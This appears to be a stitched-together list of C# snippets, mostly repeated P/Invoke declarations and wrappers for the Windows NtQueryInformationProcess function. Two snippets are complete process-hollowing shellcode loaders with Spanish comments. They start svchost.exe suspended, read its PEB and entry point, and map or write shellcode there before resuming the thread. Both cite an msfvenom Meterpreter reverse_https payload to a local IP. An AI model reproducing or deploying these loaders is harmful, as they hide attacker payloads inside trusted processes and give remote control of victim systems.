private static extern int NtQueryInformationProcess( IntPtr hProcess, PROCESSINFOCLASS pic, IntPtr pi, int cb, out int pSize );
public static extern UInt32 NtQueryInformationProcess( IntPtr ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, IntPtr ProcessInformation, UInt32 ProcessInformationLength, ref UInt32 ReturnLength );
public static NTSTATUS NtQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo) { int processInformationLength; uint RetLen = 0; switch (processInfoClass) { case PROCESSINFOCLASS.ProcessWow64Information: pProcInfo = Marshal.AllocHGlobal(IntPtr.Size); RtlZeroMemory(pProcInfo, IntPtr.Size); processInformationLength = IntPtr.Size; break; case PROCESSINFOCLASS.ProcessBasicInformation: PROCESS_BASIC_INFORMATION PBI = new PROCESS_BASIC_INFORMATION(); pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI)); RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI)); Marshal.StructureToPtr(PBI, pProcInfo, true); processInformationLength = Marshal.SizeOf(PBI); break; default: throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}"); } object[] funcargs = { hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen }; NTSTATUS retValue = (NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs); if (retValue != NTSTATUS.Success) { throw new UnauthorizedAccessException("Access is denied."); } pProcInfo = (IntPtr)funcargs[2]; return(retValue); }
/// <summary> /// <para>Retrieves information about the specified process.</para> /// </summary> /// <typeparam name="T">The type of the structure to retrieve.</typeparam> /// <param name="ProcessHandle">A handle to the process for which information is to be retrieved.</param> /// <param name="ProcessInformationClass"> /// <para> /// The type of process information to be retrieved. This parameter can be one of the following values from the /// <c>PROCESSINFOCLASS</c> enumeration. /// </para> /// <list type="table"> /// <listheader> /// <term>Value</term> /// <term>Meaning</term> /// </listheader> /// <item> /// <term>ProcessBasicInformation <br/> 0</term> /// <term> /// Retrieves a pointer to a PEB structure that can be used to determine whether the specified process is being debugged, and a /// unique value used by the system to identify the specified process. Use the CheckRemoteDebuggerPresent and GetProcessId functions /// to obtain this information. /// </term> /// </item> /// <item> /// <term>ProcessDebugPort <br/> 7</term> /// <term> /// Retrieves a DWORD_PTR value that is the port number of the debugger for the process. A nonzero value indicates that the process /// is being run under the control of a ring 3 debugger. Use the CheckRemoteDebuggerPresent or IsDebuggerPresent function. /// </term> /// </item> /// <item> /// <term>ProcessWow64Information <br/> 26</term> /// <term> /// Determines whether the process is running in the WOW64 environment (WOW64 is the x86 emulator that allows Win32-based /// applications to run on 64-bit Windows). Use the IsWow64Process2 function to obtain this information. /// </term> /// </item> /// <item> /// <term>ProcessImageFileName <br/> 27</term> /// <term> /// Retrieves a UNICODE_STRING value containing the name of the image file for the process. Use the QueryFullProcessImageName or /// GetProcessImageFileName function to obtain this information. /// </term> /// </item> /// <item> /// <term>ProcessBreakOnTermination <br/> 29</term> /// <term>Retrieves a ULONG value indicating whether the process is considered critical.</term> /// </item> /// <item> /// <term>ProcessSubsystemInformation <br/> 75</term> /// <term> /// Retrieves a SUBSYSTEM_INFORMATION_TYPE value indicating the subsystem type of the process. The buffer pointed to by the /// ProcessInformation parameter should be large enough to hold a single SUBSYSTEM_INFORMATION_TYPE enumeration. /// </term> /// </item> /// </list> /// </param> /// <returns>The structure and associated memory for any allocated sub-types.</returns> /// <exception cref="System.ArgumentException">Mismatch between requested type and class.</exception> public static NtQueryResult <T> NtQueryInformationProcess <T>([In] HPROCESS ProcessHandle, PROCESSINFOCLASS ProcessInformationClass) where T : struct { var validTypes = CorrespondingTypeAttribute.GetCorrespondingTypes(ProcessInformationClass, CorrespondingAction.Get).ToArray(); if (validTypes.Length > 0 && Array.IndexOf(validTypes, typeof(T)) == -1) { throw new ArgumentException("Mismatch between requested type and class."); } #if x64 // Check if the target is a 32 bit process running in WoW64 mode. if (IsWow64(ProcessHandle)) { // We are 64 bit. Target process is 32 bit running in WoW64 mode. throw new PlatformNotSupportedException("Unable to query a 32-bit process from a 64-bit process."); } #else if (NtQueryInformationProcessRequiresWow64Structs(ProcessHandle)) { if (validTypes.Length > 1 && !TypeIsWow()) { throw new ArgumentException("Type name must end in WOW64 to indicate it was configured exclusively for 64-bit use."); } var mem = new NtQueryResult <T>(); var status = NtWow64QueryInformationProcess64(ProcessHandle, ProcessInformationClass, ((IntPtr)mem).ToInt32(), mem.Size, out var sz); if (status.Succeeded) { return(mem); } if (status != NTStatus.STATUS_INFO_LENGTH_MISMATCH || sz == 0) { throw status.GetException(); } mem.Size = sz; NtWow64QueryInformationProcess64(ProcessHandle, ProcessInformationClass, ((IntPtr)mem).ToInt32(), mem.Size, out _).ThrowIfFailed(); return(mem); } #endif // Target process is of the same bitness as us. else { if (validTypes.Length > 1 && TypeIsWow()) { throw new ArgumentException("Type name must not end in WOW64 should be configured for 32 or 64-bit use."); } var mem = new NtQueryResult <T>(); var status = NtQueryInformationProcess(ProcessHandle, ProcessInformationClass, mem, mem.Size, out var sz); if (status.Succeeded) { return(mem); } if (status != NTStatus.STATUS_INFO_LENGTH_MISMATCH || sz == 0) { throw status.GetException(); } mem.Size = sz; NtQueryInformationProcess(ProcessHandle, ProcessInformationClass, mem, mem.Size, out _).ThrowIfFailed(); return(mem); } bool TypeIsWow() => typeof(T).Name.EndsWith("WOW64"); }
public static extern NTStatus NtWow64QueryInformationProcess64([In] HPROCESS ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, [Out] int ProcessInformation, [In] ulong ProcessInformationLength, out ulong ReturnLength);
public static extern NTStatus NtQueryInformationProcess([In] HPROCESS ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, [Out] IntPtr ProcessInformation, uint ProcessInformationLength, out uint ReturnLength);
internal static extern unsafe uint NtQueryInformationProcess(SafeProcessHandle ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, void *ProcessInformation, uint ProcessInformationLength, out uint ReturnLength);
public static extern int NtQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS pic, ref PROCESS_BASIC_INFORMATION pbi, int cb, out int pSize);
private static extern int NtQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS pic, IntPtr str, int cb, ref int pSize);
internal static extern NtStatus NtQueryInformationProcess([In] IntPtr ProcessHandle, [In] PROCESSINFOCLASS ProcessInformationClass, out IntPtr ProcessInformation, [In] int ProcessInformationLength, [Optional] out int ReturnLength);
static void Main(string[] args) { // Shellcode // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.56.133 LPORT=443 EXITFUNC=thread -f csharp byte[] buf = new byte[] { }; string shellcodeb64 = ""; buf = null; buf = Convert.FromBase64String(shellcodeb64); // Variables para la creación del proceso // Process Name string ProcName = @"C:\Windows\System32\svchost.exe"; // STARTUPINFO STARTUPINFO si = new STARTUPINFO(); // PROCESS_INFORMATION PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); // SECURITY_ATTRIBUTES SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); // Create Process in SUSPENDED Mode (CreateProcess) bool status = CreateProcess(null, ProcName, ref pSec, ref tSec, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); Console.WriteLine("[>] Proceso creado en modo suspendido."); Console.WriteLine(" | -> Nombre del proceso: " + ProcName); Console.WriteLine(" | -> ID del proceso: " + pi.dwProcessId); Console.WriteLine(" | -> ID del thread (hilo): " + pi.dwThreadId); // Variables para consultar la información del proceso // Process Handle IntPtr pHandle = pi.hProcess; // PROCESS_BASIC_INFORMATION PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); // PROCESSINFOCLASS PROCESSINFOCLASS pic = new PROCESSINFOCLASS(); // returnLength int returnLength; // Obtener la información del proceso para buscar el PEB (NtQueryInformationProcess) int resultNtQuery = NtQueryInformationProcess(pHandle, pic, out pbi, Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)), out returnLength); Console.WriteLine("\n[>] Informacion del proceso " + ProcName + " obtenida."); Console.WriteLine(" | -> PEB: 0x{0:X16}", pbi.PebBaseAddress.ToInt64()); // Calculo de la ubicación del valor del ImageBaseAddress - WinDBG IntPtr ptrImageBase = (IntPtr)((Int64)pbi.PebBaseAddress + 0x10); // Variables para guardar el valor de ImageBaseAddress // ImageBaseAddress byte byte[] ImageBaseAddress = new byte[8]; // bytesRead IntPtr bytesRead; // Leer 8 bytes de memoria en la ubicación del PEB para obtener la dirección del ImageBaseAddress (ReadProcessMemory) status = ReadProcessMemory(pHandle, ptrImageBase, ImageBaseAddress, 8, out bytesRead); IntPtr ProcessBaseAddr = (IntPtr)BitConverter.ToInt64(ImageBaseAddress, 0); Console.WriteLine(" | -> ImageBaseAddress: 0x{0:X16}", ProcessBaseAddr.ToInt64()); // Variable para almacenar el contenido de la memoria byte[] dataPE = new byte[0x200]; // Leer 512 Bytes de memoria en la ubicación del ImageBaseAddress (ReadProcessMemory) status = ReadProcessMemory(pHandle, ProcessBaseAddr, dataPE, dataPE.Length, out bytesRead); // Obtener el valor de e_lfanew // 0x3C - Ubicación uint e_lfanew = BitConverter.ToUInt32(dataPE, 0x3C); // Obtener el valor de opthdr (optional header a partir del e_lfanew) // e_lfanew + 0x28 uint opthdr = e_lfanew + 0x28; // Obtener el valor del entrypoint_rva uint entrypoint_rva = BitConverter.ToUInt32(dataPE, (int)opthdr); // Obtener el valor del AddressOfEntryPoint // entrypoint_rva + ImageBaseAddress IntPtr addressOfEntryPoint = (IntPtr)((UInt64)ProcessBaseAddr + entrypoint_rva); Console.WriteLine(" | -> addressOfEntryPoint: 0x{0:X16}", addressOfEntryPoint.ToInt64()); // Variables para la creación de la sección // MaxSize = shellcode.Lenght long MaxSize = buf.Length; // Pointer a la dirección de la sección será 0 para crear una nueva IntPtr section = IntPtr.Zero; // Crear una seccion (NtCreateSection) UInt32 result = NtCreateSection( ref section, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero, ref MaxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero); Console.WriteLine("\n[>] Seccion creada."); Console.WriteLine(" | -> section: 0x{0:X16}", section.ToInt64()); // Variables para el mapeo de la sección // viewSize uint viewSize = (uint)buf.Length; // seccionOffset ulong sectionOffset = 0; // Pointer a la dirección de la sección local IntPtr localSectionAddr = IntPtr.Zero; // Pointer a la dirección de la sección remota IntPtr remoteSectionAddr = IntPtr.Zero; // ViewUnmap = 0x2 - Otros childs no tendrán acceso a esta sección // Mapear la sección al proceso actual (NtMapViewOfSection) NtMapViewOfSection( section, (IntPtr)(-1), ref localSectionAddr, UIntPtr.Zero, UIntPtr.Zero, out sectionOffset, out viewSize, 0x2, 0, PAGE_READWRITE); Console.WriteLine(" | -> direccion de la seccion Local : 0x{0:X16}", localSectionAddr.ToInt64()); // Mapear la sección al proceso remoto (NtMapViewOfSection) NtMapViewOfSection( section, pHandle, // Proceso a hacer Hollowing ref remoteSectionAddr, UIntPtr.Zero, UIntPtr.Zero, out sectionOffset, out viewSize, 0x2, 0, PAGE_EXECUTE_READ); Console.WriteLine(" | -> direccion de la seccion Remota : 0x{0:X16}", remoteSectionAddr.ToInt64()); // Copiar el shellcode a la sección (Marshal.Copy) Marshal.Copy(buf, 0, localSectionAddr, buf.Length); Console.WriteLine("\n[>] Shellcode copiado a la seccion."); // Modificar el entryPoint para que apunte a la sección KeyValuePair <int, IntPtr> path = BuildEntryPatch(remoteSectionAddr); IntPtr tPtr; WriteProcessMemory(pHandle, addressOfEntryPoint, path.Value, path.Key, out tPtr); // Resumir el Thread (ResumeThread) ResumeThread(pi.hThread); Console.ReadLine(); }
static extern int NtQueryInformationProcess( IntPtr hProcess, PROCESSINFOCLASS pic, out PROCESS_BASIC_INFORMATION pbi, int processInformationLength, out int returnLength);
/// <summary> /// <para>Retrieves information about the specified process.</para> /// </summary> /// <typeparam name="T">The type of the structure to retrieve.</typeparam> /// <param name="ProcessHandle">A handle to the process for which information is to be retrieved.</param> /// <param name="ProcessInformationClass"> /// <para> /// The type of process information to be retrieved. This parameter can be one of the following values from the /// <c>PROCESSINFOCLASS</c> enumeration. /// </para> /// <list type="table"> /// <listheader> /// <term>Value</term> /// <term>Meaning</term> /// </listheader> /// <item> /// <term>ProcessBasicInformation <br/> 0</term> /// <term> /// Retrieves a pointer to a PEB structure that can be used to determine whether the specified process is being debugged, and a /// unique value used by the system to identify the specified process. Use the CheckRemoteDebuggerPresent and GetProcessId functions /// to obtain this information. /// </term> /// </item> /// <item> /// <term>ProcessDebugPort <br/> 7</term> /// <term> /// Retrieves a DWORD_PTR value that is the port number of the debugger for the process. A nonzero value indicates that the process /// is being run under the control of a ring 3 debugger. Use the CheckRemoteDebuggerPresent or IsDebuggerPresent function. /// </term> /// </item> /// <item> /// <term>ProcessWow64Information <br/> 26</term> /// <term> /// Determines whether the process is running in the WOW64 environment (WOW64 is the x86 emulator that allows Win32-based /// applications to run on 64-bit Windows). Use the IsWow64Process2 function to obtain this information. /// </term> /// </item> /// <item> /// <term>ProcessImageFileName <br/> 27</term> /// <term> /// Retrieves a UNICODE_STRING value containing the name of the image file for the process. Use the QueryFullProcessImageName or /// GetProcessImageFileName function to obtain this information. /// </term> /// </item> /// <item> /// <term>ProcessBreakOnTermination <br/> 29</term> /// <term>Retrieves a ULONG value indicating whether the process is considered critical.</term> /// </item> /// <item> /// <term>ProcessSubsystemInformation <br/> 75</term> /// <term> /// Retrieves a SUBSYSTEM_INFORMATION_TYPE value indicating the subsystem type of the process. The buffer pointed to by the /// ProcessInformation parameter should be large enough to hold a single SUBSYSTEM_INFORMATION_TYPE enumeration. /// </term> /// </item> /// </list> /// </param> /// <returns>The structure and associated memory for any allocated sub-types.</returns> /// <exception cref="System.ArgumentException">Mismatch between requested type and class.</exception> public static NtQueryResult <T> NtQueryInformationProcess <T>([In] HPROCESS ProcessHandle, PROCESSINFOCLASS ProcessInformationClass) where T : struct { if (!CorrespondingTypeAttribute.CanGet(ProcessInformationClass, typeof(T))) { throw new ArgumentException("Mismatch between requested type and class."); } var mem = new NtQueryResult <T>(); var status = NtQueryInformationProcess(ProcessHandle, ProcessInformationClass, mem, mem.Size, out var sz); if (status.Succeeded) { return(mem); } if (status != NTStatus.STATUS_INFO_LENGTH_MISMATCH || sz == 0) { throw status.GetException(); } mem.Size = sz; NtQueryInformationProcess(ProcessHandle, ProcessInformationClass, mem, mem.Size, out _).ThrowIfFailed(); return(mem); }
static void Main(string[] args) { // Shellcode // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.56.133 LPORT=443 EXITFUNC=thread -f csharp byte[] buf = new byte[] { }; string shellcodeb64 = ""; buf = null; buf = Convert.FromBase64String(shellcodeb64); // Variables para la creación del proceso // Process Name string ProcName = @"C:\Windows\System32\svchost.exe"; // STARTUPINFO STARTUPINFO si = new STARTUPINFO(); // PROCESS_INFORMATION PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); // SECURITY_ATTRIBUTES SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); // Create Process in SUSPENDED Mode (CreateProcess) bool status = CreateProcess(null, ProcName, ref pSec, ref tSec, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); Console.WriteLine("[>] Proceso creado en modo suspendido."); Console.WriteLine(" | -> Nombre del proceso: " + ProcName); Console.WriteLine(" | -> ID del proceso: " + pi.dwProcessId); Console.WriteLine(" | -> ID del thread (hilo): " + pi.dwThreadId); // Variables para consultar la información del proceso // Process Handle IntPtr pHandle = pi.hProcess; // PROCESS_BASIC_INFORMATION PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); // PROCESSINFOCLASS PROCESSINFOCLASS pic = new PROCESSINFOCLASS(); // returnLength int returnLength; // Obtener la información del proceso para buscar el PEB (NtQueryInformationProcess) int resultNtQuery = NtQueryInformationProcess(pHandle, pic, out pbi, Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)), out returnLength); Console.WriteLine("\n[>] Informacion del proceso " + ProcName + " obtenida."); Console.WriteLine(" | -> PEB: 0x{0:X16}", pbi.PebBaseAddress.ToInt64()); // Calculo de la ubicación del valor del ImageBaseAddress - WinDBG IntPtr ptrImageBase = (IntPtr)((Int64)pbi.PebBaseAddress + 0x10); // Variables para guardar el valor de ImageBaseAddress // ImageBaseAddress byte byte[] ImageBaseAddress = new byte[8]; // bytesRead IntPtr bytesRead; // Leer 8 bytes de memoria en la ubicación del PEB para obtener la dirección del ImageBaseAddress (ReadProcessMemory) status = ReadProcessMemory(pHandle, ptrImageBase, ImageBaseAddress, 8, out bytesRead); IntPtr ProcessBaseAddr = (IntPtr)BitConverter.ToInt64(ImageBaseAddress, 0); Console.WriteLine(" | -> ImageBaseAddress: 0x{0:X16}", ProcessBaseAddr.ToInt64()); // Variable para almacenar el contenido de la memoria byte[] dataPE = new byte[0x200]; // Leer 512 Bytes de memoria en la ubicación del ImageBaseAddress (ReadProcessMemory) status = ReadProcessMemory(pHandle, ProcessBaseAddr, dataPE, dataPE.Length, out bytesRead); // Obtener el valor de e_lfanew // 0x3C - Ubicación uint e_lfanew = BitConverter.ToUInt32(dataPE, 0x3C); // Obtener el valor de opthdr (optional header a partir del e_lfanew) // e_lfanew + 0x28 uint opthdr = e_lfanew + 0x28; // Obtener el valor del entrypoint_rva uint entrypoint_rva = BitConverter.ToUInt32(dataPE, (int)opthdr); // Obtener el valor del AddressOfEntryPoint // entrypoint_rva + ImageBaseAddress IntPtr addressOfEntryPoint = (IntPtr)((UInt64)ProcessBaseAddr + entrypoint_rva); Console.WriteLine(" | -> addressOfEntryPoint: 0x{0:X16}", addressOfEntryPoint.ToInt64()); // Copiar el shellcode al AddressOfEntryPoint IntPtr readbytes; WriteProcessMemory(pHandle, addressOfEntryPoint, buf, buf.Length, out readbytes); // Resumir el Thread (ResumeThread) ResumeThread(pi.hThread); Console.ReadLine(); }
private static extern int NtQueryInformationProcess( IntPtr hProcess, PROCESSINFOCLASS pic, IntPtr processInformation, uint processInformationLength, IntPtr returnLength);
private static extern int NtQueryInformationProcess(IntPtr ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, ref PROCESS_BASIC_INFORMATION ProcessInformation, ulong ProcessInformationLength, IntPtr ReturnLength);
public static unsafe extern NTSTATUS NtQueryInformationProcess( Kernel32.SafeObjectHandle ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, void *ProcessInformation, int ProcessInformationLength, out int ReturnLength);
private static extern int NtQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS pic, ref PROCESS_BASIC_INFORMATION pbi, int cb, ref int pSize);
internal static extern int NtWow64QueryInformationProcess64( IntPtr ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, out PROCESS_BASIC_INFORMATION64 ProcessInformation, int ProcessInformationLength, IntPtr ReturnLength = default);
private static extern int NtQueryInformationProcess(SafeProcessHandle hProcess, PROCESSINFOCLASS pic, ref PROCESS_BASIC_INFORMATION pbi, int cb, ref int pSize);
private static extern int NtQueryInformationProcess(IntPtr processHandle, PROCESSINFOCLASS processInformationClass, ref PROCESS_BASIC_INFORMATION processInformation, int processInformationLength, ref int returnLength);
public static extern int NtQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS pic, ref long addr, int cb, out int pSize);